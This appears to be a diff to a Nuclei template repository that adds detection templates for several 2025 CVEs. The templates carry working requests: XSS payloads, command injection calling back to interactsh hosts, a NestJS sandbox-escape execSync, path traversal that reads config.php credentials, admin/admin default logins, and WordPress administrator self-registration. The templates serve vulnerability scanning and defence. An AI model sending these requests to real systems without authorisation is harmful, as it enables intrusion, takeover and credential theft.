+        option_page=wp_skitter_settings&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp_skitter_menu&wp_skitter_type=posts&wp_skitter_category=1&wp_skitter_slides="><script>alert(document.domain)</script>&wp_skitter_xml=&wp_skitter_theme=square&wp_skitter_animation=random&wp_skitter_type_navigation=numbers&wp_skitter_width=&wp_skitter_height=&wp_skitter_background=%23000&wp_skitter_crop=true&wp_skitter_velocity=&wp_skitter_interval=&wp_skitter_navigation=true&wp_skitter_numbers_align=left&wp_skitter_label=true&wp_skitter_label_animation=&wp_skitter_width_label=&wp_skitter_easing_default=&wp_skitter_controls_position=&wp_skitter_focus_position=&wp_skitter_with_animations=&wp_skitter_auto_play=true
+
+      - |
+        GET /wp-admin/options-general.php?page=wp_skitter_menu HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_4 == 200"
+          - "contains(body_4, '<script>alert(document.domain)</script>')"
+        condition: and
+
+    extractors:
+      - type: regex
+        name: nonce
+        part: body_2
+        group: 1
+        internal: true
+        regex:
+          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
+# digest: 4a0a00473045022100aac681e0145973b5ddae35bb6d5f7b82285db3f7dd8dc5840ad7a79a03b173eb0220300e9859a94adb792969921c2dbf68d3bfcb125900d3307affa2650f1dfab32c:922c64590222798bb761d5b6d8e72950
@@ -59,4 +59,4 @@ http:
        part: header
        words:
          - "text/javascript"
-# digest: 4b0a00483046022100ee8f9df882635955e814b700e12306455cf67732fe74a023c062b15ff9e44ca70221008b2f7cdc6239fc59f5e43425baf72306e5de9764ec97419185ad1ac23f9a68f9:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022007e1627843a06956ae12f3cb945ecb7fad7d509ae9299c7a2845a3928150afea02203a4b2eb2d58ba887848cd46e8c224c79a1c5d7903dda7dae330db4c733ee0a0b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,53 @@
+id: CVE-2025-32430
+
+info:
+  name: XWiki Platform - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    XWiki Platform versions >= 4.2-milestone-3 and < 16.4.8, >= 16.5.0-rc-1 and < 16.10.6, and >= 17.0.0-rc-1 and < 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the victim's session by getting the victim to visit an attacker-controlled URL.
+  reference:
+    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-m9x4-w7p9-mxhx
+    - https://jira.xwiki.org/browse/XWIKI-23096
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-32430
+  classification:
+    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
+    cvss-score: 6.5
+    cve-id: CVE-2025-32430
+    cwe-id: CWE-79
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: xwiki
+    product: xwiki-platform
+    shodan-query: http.html:"data-xwiki-reference"
+    fofa-query: body="data-xwiki-reference"
+  tags: cve,cve2025,xwiki,xss
+
+http:
+  - raw:
+      - |
+        GET /xwiki/bin/view/Main/?xpage=job_status_json&jobId=asdf&translationPrefix=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /xwiki/bin/view/Main/?xpage=distribution&extensionId=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&extensionVersionConstraint=%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1
+        Host: {{Hostname}}
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<img src=1 onerror=alert(document.domain)>.notFound'
+
+      - type: word
+        part: content_type
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 404
+# digest: 4a0a00473045022100b652cae0e1d5a0002a666e8f4fb79e4c1aea8a8416189f573dd51bffca16f00302205da5ae3b6025cb311295b4caf20005bd592cfa4f9554c48e7710bbf1043acb14:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,48 @@
+id: CVE-2025-34035
+
+info:
+  name: EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution
+  author: intelligent-ears
+  severity: critical
+  description: |
+    An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected commands are executed with root privileges, leading to full system compromise.
+  reference:
+    - https://cxsecurity.com/issue/WLB-2017060050
+    - https://www.exploit-db.com/exploits/42114
+    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5413.php
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34035
+  classification:
+    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
+    cvss-score: 10.0
+    cve-id: CVE-2025-34035
+    cwe-id: CWE-78
+  metadata:
+    verified: true
+    shodan-query: html:"/web/cgi-bin/usbinfo.cgi"
+    fofa-query: body="/web/cgi-bin/usbinfo.cgi"
+    max-request: 1
+  tags: cve,cve2025,engenius,enshare,rce,kev
+
+http:
+  - raw:
+      - |
+        POST {{path}} HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=7&path="|id||"
+
+    payloads:
+      path:
+        - "/web/cgi-bin/usbinteract.cgi"
+        - "/cgi-bin/usbinteract.cgi"
+
+    stop-at-first-match: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "regex('uid=([0-9(a-z_)]+) gid=([0-9(a-z_)]+)', body)"
+          - 'contains(body, "Content-type: text/html")'
+          - "status_code == 200"
+        condition: and
@@ -0,0 +1,35 @@
+id: CVE-2025-34073
+
+info:
+  name: Maltrail <=0.54 Username Parameter -  Remote Command Execution
+  author: SeungAh-Hong
+  severity: critical
+  description: |
+    Maltrail versions <=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.
+  reference:
+    - https://huntr.com/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87
+    - https://vulncheck.com/advisories/stamparm-maltrail-rce
+    - https://github.com/stamparm/maltrail/issues/19146
+    - https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/http/maltrail_rce.rb
+  metadata:
+    max-request: 1
+    shodan-query: http.title:"Maltrail"
+    fofa-query: app="Maltrail"
+  tags: cve,cve2025,maltrail,rce,unauth,oss
+
+http:
+  - raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username=;`curl http://{{interactsh-url}}`
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(header, "Maltrail")'
+          - "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
+        condition: and
+# digest: 4b0a00483046022100b6cb29e1be26b66ef70b5fe49d9d0f66de28b03f334d700f770936c37794fbc90221008118e7b969383762eab736c41540f15bdd9e2f0627dede0ba5d6ed0bed34e851:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: CVE-2025-34152
+
+info:
+  name: Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter
+  author: Chocapikk,DhiyaneshDk
+  severity: critical
+  description: |
+    An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.
+  reference:
+    - https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/
+    - https://github.com/rapid7/metasploit-framework/pull/20455/files
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34152
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.favicon.hash:-741058468 "lighttpd/1.4.32"
+    fofa-query: icon_hash="-741058468" && server=="lighttpd/1.4.32"
+  tags: cve,cve2025,aitemi,m300,wifi,unauth,rce
+
+variables:
+  payload: "`$(nslookup {{interactsh-url}})`"
+
+http:
+  - raw:
+      - |
+        POST /protocol.csp?x HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/javascript, */*; q=0.01
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        X-Requested-With: XMLHttpRequest
+        Origin: {{RootURL}}
+        Referer: {{RootURL}}/network.html
+
+        fname=system&opt=time_conf&function=set&time={{url_encode(payload)}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains_all(body, "error","opt")'
+          - 'contains(content_type, "text/plain")'
+        condition: and
@@ -7,8 +7,10 @@ info:
  description: |
    An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
    cvss-score: 7.6
+    cve-id: CVE-2025-4123
+    cwe-id: CWE-79,CWE-601
    epss-score: 0.01231
    epss-percentile: 0.86537
  reference:
@@ -41,4 +43,4 @@ http:
        name: ssrf
        dsl:
          - contains(interactsh_protocol, 'dns') && contains(content_type, 'image/png')
-# digest: 490a00463044022047971921b6102c2ccd6481a1b1818a20d282a1313833e23bd11d7ecd49aa7d5c02206acebff5d3dc7a15d966df02b73630a86c5460c6f9450d78929f41860004952b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b677c703bdd4f5e0e80cf2685612a771434fb96b68a04e94d4f9d50d0b6b97cd02203bdcd05fe058e18907b5a9546e43f373f332b559382bf35990bb5199586652b6:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,73 @@
+id: CVE-2025-4334
+
+info:
+  name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
+  author: pussycat0x
+  severity: critical
+  description: |
+    The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-4334
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-4334
+    cwe-id: CWE-269
+  impact: |
+    An attacker can exploit this vulnerability to register with administrator privileges, gaining full control over the WordPress site.
+  remediation: |
+    Update the Simple User Registration plugin to a version newer than 6.3 when available, or remove the plugin if not essential.
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: lifeisincredible
+    product: simple-user-registration
+    shodan-query: http.component:"wordpress" && http.html:"/wp-content/plugins/simple-user-registration/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,simple-user-registration
+
+
+variables:
+  username: "{{randstr}}"
+  email: "{{randstr}}@{{rand_base(5)}}.com"
+  password: "{{to_lower(rand_text_alpha(8))}}"
+
+http:
+  - raw:
+      - |
+        GET /register/ HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        X-Requested-With: XMLHttpRequest
+        Content-Length: 417
+
+        action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body_1, "WPR Register")
+          - contains(body_2, "user_id")
+          - contains(body_2, "Registration Done")
+        condition: and
+
+    extractors:
+      - type: regex
+        internal: true
+        group: 1
+        name: wpr_nonce
+        part: body
+        regex:
+          - 'name="wpr_nonce" value="([a-f0-9]+)"'
+
+      - type: regex
+        internal: true
+        group: 1
+        name: wpr_form_id
+        part: body
+        regex:
+          - 'name="wpr_form_id" value="([0-9]+)"'
+# digest: 4b0a0048304602210089b16e130b76927fa434096a72aa1ab9cf2ddcaeb4462187411ccdcf5bd8c553022100c5a062e4e7dcada35a6877a78461fd761eff5724a772dc1de8e9aa66c6b7d4fe:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,76 @@
+id: CVE-2025-48954
+
+info:
+  name: Discourse OAuth Social Login - Cross-site Scripting
+  author: ferreiraklet,DhiyaneshDK,pdresearch
+  severity: high
+  description: |
+    Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.
+  remediation: Update the discourse to version 3.5.0.beta6 or later.
+  reference:
+    - https://github.com/discourse/discourse/security/advisories/GHSA-26p5-mjjh-wfcf
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-48954
+  classification:
+    cve-id: CVE-2025-48954
+    cwe-id: CWE-79
+    epss-score: 0.00038
+    epss-percentile: 0.10442
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
+    cvss-score: 8.1
+    cpe: cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 5
+    shodan-query: http.component:"Discourse"
+    fofa-query: app="Discourse"
+    zoomeye-query: app:"Discourse"
+    hunter-query: web.title="Discourse"
+  tags: cve,cve2025,discourse,xss,oauth
+
+variables:
+  # XSS payloads for different exploitation scenarios
+  redirect_payload: "%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A//evil.com%22%3E"
+  basic_xss: "<svg/onload=alert('XSS-CVE-2025-48954')>"
+
+http:
+  - method: GET
+    path:
+      # Test 1: Open redirect via meta refresh injection
+      - '{{BaseURL}}/auth/failure?provider={{redirect_payload}}'
+
+      # Test 2: Basic XSS payload injection
+      - '{{BaseURL}}/auth/failure?provider={{basic_xss}}'
+
+
+    matchers:
+      - type: dsl
+        name: open-redirect-meta-refresh
+        dsl:
+          - 'contains(body, "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.com\">")'
+          - 'contains(to_lower(body), "discourse")'
+          - 'status_code == 200'
+        condition: and
+
+      - type: dsl
+        name: basic-xss-execution
+        dsl:
+          - 'contains(body, "onload=alert(")'
+          - 'contains(body, "XSS-CVE-2025-48954")'
+          - 'contains(to_lower(body), "discourse")'
+          - 'status_code == 200'
+          - '!contains(to_lower(header), "content-security-policy")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: discourse_version
+        group: 1
+        regex:
+          - '<meta name="generator" content="Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
+          - "(?i)discourse['\"]?\\s*:\\s*['\"]?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
+          - "(?i)x-discourse-version:\\s*([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
+          - '"version"\\s*:\\s*"([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"'
+          - '<!-- Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
+          - '/assets/discourse-([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
+          - "(?i)discourse[^\"']*?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
+# digest: 4a0a0047304502203a2a4936fc48c313e953f4abe2206b813b1a1cf295e7aa9dfc491c22b2a3504b022100e6543a16f25d90f06101fb1a0675ef5fb37937bc866a65030efdeeb90e3afe26:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,50 @@
+id: CVE-2025-53558
+
+info:
+  name: ZTE ZXHN-F660T/F660A - Default Credentials
+  author: DhiyaneshDK
+  severity: high
+  description: |
+    ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-53558
+    - https://jvn.jp/en/jp/JVN66546573/
+  metadata:
+    shodan-query: title:"F660"
+    verified: true
+    max-request: 1
+  tags: cve,cve2025,default-login,zte
+
+variables:
+  username: "admin"
+  password: "admin"
+
+http:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{RootURL}}
+
+        frashnum=&action=login&Frm_Logintoken=0&Username={{username}}&Password={{password}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: location
+        words:
+          - "/start.ghtml"
+
+      - type: status
+        status:
+          - 302
+
+      - type: word
+        part: body
+        words:
+          - "wrong username"
+          - "User information is error"
+        negative: true
+# digest: 4a0a00473045022073427a7cc13856d8f5f4fa00d669009a1a335d314edaf14973d81ed5d536c933022100abbb20fb6b6b56b810238e5c33af5c3a404d047de606f673b4f5c6a1cde28b4a:922c64590222798bb761d5b6d8e72950
@@ -133,4 +133,4 @@ http:
          - 'contains(x_nuclei,"CVE-2025-53770")'
          - 'contains(body, "MSOTlPn_DWP")'
        condition: and
-# digest: 4a0a00473045022100e49668cd4d959747d85e9df1503f84f74e4c97ccd050fc618de6e47c805675d302207a5ce742753a29fc20f98b21c8cee1355b6f29fa4714bf7a3598ff12e0eb379e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022075a80271d92cc672125ad5ea245de846e4ebbb16b086afaf4368182b9c7b900f022100bb6edbf89726edab28fa8d081a57d6a171a20a55964feca1e6dbd0ef9119bab4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,41 @@
+id: CVE-2025-5394
+
+info:
+  name: Unauthenticated Arbitrary Plugin Upload in Alone Theme
+  author: Nxploited,DhiyaneshDK
+  severity: critical
+  description: |
+    The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.
+  impact: |
+    This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.
+  remediation: Fixed in 7.8.5.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-5394/tree/main
+    - https://x.com/cloudflare/status/1951319364856058035?s=46
+  metadata:
+    verified: true
+    max-request: 1
+    publicwww-query: "/wp-content/themes/alone/"
+    fofa-query: body="/wp-content/themes/alone/"
+  tags: cve,cve2025,unauth,file-upload,rce
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=beplus_import_pack_install_plugin&data%5Bplugin_slug%5D=&data%5Bplugin_source%5D=https%3a%2f%2f{{interactsh-url}}%2fplugin%2f%7b%7b{{randstr}}%7d%7d.zip
+        # No plugin is uploaded or updated; just sending interactsh-url with randstr.
+
+    skip-variables-check: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains_all(body, '\"success\":true','\"substep\":\"activate\"')
+          - contains(content_type, 'application/json')
+          - status_code == 200
+        condition: and
+# digest: 4a0a00473045022012aebba2ab4035e5dea235490a3c7e2d05f9b0c7bc6c42a9b0a16402a3f280b7022100b31f83ca7e1a4d0617368298247b4d17913400deb667e42b9298e3e3731037f9:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,54 @@
+id: CVE-2025-54589
+
+info:
+  name: Copyparty <=1.18.6 - Cross-Site Scripting
+  author: s-cu-bot
+  severity: medium
+  description: |
+    Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
+  remediation: |
+    Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
+  reference:
+    - https://github.com/9001/copyparty
+    - https://secalerts.co/vulnerability/CVE-2025-54589
+    - https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-54589
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
+    cvss-score: 6.3
+    cve-id: CVE-2025-54589
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: copyparty_project
+    product: copyparty
+    shodan-query: http.title:"copyparty"
+    fofa-query: title="copyparty"
+    google-query: intitle:"copyparty"
+  tags: cve,cve2025,xss,copyparty
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'filter": "</script><script>alert(document.domain)</script>'
+          - 'control-panel'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a004830460221008af4bca4f363dd3577c686ab93f9b2ea0ddf3e0be56f3957dcf63ad864e0c3a8022100bc0a140af3e9496fc5157c56c5faa7a943ad458b07e20481f46fb2da5c0476e7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: CVE-2025-54782
+
+info:
+  name: NestJS DevTools Integration - Remote Code Execution
+  author: nukunga
+  severity: critical
+  description: |
+    Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.
+  remediation: This is fixed in version 0.2.1.
+  reference:
+    - https://socket.dev/blog/nestjs-rce-vuln
+    - https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-54782
+  classification:
+    cvss-metrics: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
+    cvss-score: 9.4
+    cve-id: CVE-2025-54782
+    cwe-id: CWE-77,CWE-352,CWE-78
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: "devtools.nestjs.com"
+  tags: cve,cve2025,nestjs,rce,sandbox,devtool,unauth
+
+http:
+  - raw:
+      - |
+        POST /inspector/graph/interact HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/plain
+
+        {"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('nslookup {{interactsh-url}}')}})()"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: content_type
+        words:
+          - "application/plain"
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a00473045022100d05e6c9b0c414ba9572a5c40dbec99985eb6e3c2088d4134f57639110ec30f570220289733b70b84065d76cb7e9179e2dd7bc08fbeff8e7d8d1474f317862c79f3c2:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,40 @@
+id: CVE-2025-55169
+
+info:
+  name: WeGIA - Directory Traversal
+  author: praivesi
+  severity: critical
+  description: |
+    WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.
+  remediation: |
+    Upgrade to WeGIA version 3.4.8 or later, which patches the path traversal vulnerability.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-55169
+    - https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mm3p-7573-4x4j
+  metadata:
+    verified: true
+    max-request: 1
+    fofa-query: title="WeGIA"
+  tags: cve,cve2025,wegia,lfi
+
+http:
+  - raw:
+      - |
+        GET /html/socio/sistema/download_remessa.php?file=../../../www/html/wegia/config.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "DB_PASSWORD"
+
+      - type: word
+        part: content_type
+        words:
+          - "application/octet-stream"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,43 @@
+id: CVE-2025-57788
+
+info:
+  name: Commvault - Unauthorized API Access
+  author: DhiyaneshDK,watchtowr
+  severity: medium
+  description: |
+    An issue was discovered in Commvault before 11.36.60. A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user credentials. RBAC helps limit the exposure but does not eliminate risk.
+  reference:
+    - https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/
+    - https://documentation.commvault.com/securityadvisories/CV_2025_08_3.html
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.favicon.hash:-542502280
+  tags: cve,cve2025,commandcenter,commvault,unauth
+
+variables:
+  random: "{{to_lower(rand_text_alpha(5))}}"
+
+http:
+  - raw:
+      - |
+        GET /commandcenter/RestServlet/Test/Echo/{{random}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Message:"
+          - "{{random}}"
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - "text/plain"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,72 @@
+id: CVE-2025-6934
+
+info:
+  name: The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation
+  author: pussycat0x
+  severity: critical
+  description: |
+    The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.
+  impact: |
+    An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.
+  remediation: |
+    Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-6934/blob/main/README.md
+    - https://wordpress.org/plugins/opal-estate-pro/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6934
+    cwe-id: CWE-269
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: themeforest
+    product: opal-estate-pro
+    publicwww-query: "/wp-content/plugins/opal-estate-pro/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,opalestate
+
+flow: http(1) && http(2)
+
+variables:
+  username: "{{randstr}}"
+  password: "{{to_lower(rand_text_alpha(8))}}"
+  email: "{{randstr}}@{{rand_base(5)}}.com"
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "opalestate-register-nonce"
+        internal: true
+
+    extractors:
+      - type: regex
+        group: 1
+        name: nonce
+        part: body
+        internal: true
+        regex:
+          - 'name="opalestate-register-nonce" value="([a-f0-9]+)"'
+
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username={{username}}&email={{email}}&password={{password}}&password1={{password}}&role=administrator&confirmed_register=on&opalestate-register-nonce={{nonce}}&_wp_http_referer=%2F&ajax=1&action=opalestate_register_form
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body, 'status\":true')
+          - status_code == 200
+        condition: and
+# digest: 4a0a00473045022100e8989d1aecaff5733f64ddbf34fe295a86daa81ded474f940e42a69022b8630802205b14d8b735e4f48019bd42cb80a9b9f4260396ed99e0412d3880644d78622b6e:922c64590222798bb761d5b6d8e72950
@@ -1,13 +1,16 @@
 id: CVE-2025-8286

 info:
-  name: Güralp Systems FMUS Series Seismic Monitoring Devices - Missing Authentication for Critical Function
+  name: Güralp Systems FMUS Series - Unauthenticated Access
  severity: critical
  author: darses
  description: |
-    The affected products expose an unauthenticated Telnet-based command line interface that could allow an attacker to modify hardware configurations, manipulate data, or factory reset the device.
+    Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to modify hardware configurations, manipulate data, or factory reset the device.
+  reference:
+    - https://www.cisa.gov/news-events/ics-advisories/icsa-25-212-01
+    - https://www.cve.org/CVERecord?id=CVE-2025-8286
  remediation: |
